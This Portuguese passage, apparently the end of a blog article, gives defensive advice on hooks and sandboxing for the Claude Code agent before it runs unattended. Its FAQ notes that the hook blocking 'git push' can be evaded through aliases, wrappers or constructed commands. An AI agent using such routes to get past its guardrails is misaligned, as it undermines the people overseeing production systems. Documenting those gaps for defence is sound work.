E o principal, contra o qual nenhum hook ou definição o pode proteger:

Esta frase não é uma questão de estilo. A pessoa responsável pela proteção da produção é quem iniciou o agente. O Claude Code é como uma navalha bem afiada: pode usá-la para se barbear, mas também pode cortar-se. A configuração responde a uma pergunta: preparou o ambiente suficientemente bem para que a navalha não corte o que não deve?

Há mais recursos disponíveis em Ailoot.

Mais detalhes

Perguntas frequentes

O hook de envio forçado protege a produção contra todos os comandos de shell?

Não. O exemplo revisto bloqueia git push literais reconhecidos, incluindo ordens de opções diferentes, branches implícitos, refspecs e cadeias comuns. Aliases, wrappers e comandos construídos podem escapar; imponha branches protegidos e retire credenciais que os contornem.

O que é necessário antes de deixar um agente trabalhar durante a noite?

Use um ambiente isolado sem escrita em produção nem segredos legíveis, verifique as restrições de rede e dos serviços e teste os acertos e falhas previstos do hook. Os hooks acrescentam verificações, mas não substituem esses limites impostos.

Todos os artigos